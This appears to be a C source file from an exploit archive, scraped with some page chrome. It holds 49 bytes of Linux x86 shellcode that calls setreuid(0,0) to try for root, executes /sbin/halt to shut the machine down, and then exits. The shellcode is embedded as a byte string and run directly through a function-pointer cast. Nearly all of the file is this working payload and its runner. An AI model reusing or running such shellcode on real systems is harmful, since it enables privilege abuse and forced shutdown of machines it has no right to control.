27 lines
No EOL
831 B
C
27 lines
No EOL
831 B
C
/*
|
|
|
|
+========================================================================================
|
|
| # Exploit Title : linux/x86 setreuid(0, 0) + execve("/sbin/halt") + exit(0) - 49 bytes
|
|
| # Exploit Author : Febriyanto Nugroho
|
|
| # Tested on : Linux Debian 5.0.5
|
|
+========================================================================================
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char s[] = "\x31\xc0\x31\xdb\x50\x53\x89\xe1"
|
|
"\xb0\x46\xcd\x80\x31\xc0\x50\x68"
|
|
"\x68\x61\x6c\x74\x68\x6e\x2f\x2f"
|
|
"\x2f\x68\x2f\x73\x62\x69\x89\xe3"
|
|
"\x50\x53\xb0\x0b\x89\xe1\xcd\x80"
|
|
"\x31\xc0\x50\x89\xe3\xb0\x01\xcd"
|
|
"\x80";
|
|
|
|
int main(int argc, char *argv[]) {
|
|
printf("shellcode length -> %d bytes\n", strlen(s));
|
|
int(*fuck)() = (int(*)())s;
|
|
fuck();
|
|
return 0;
|
|
} |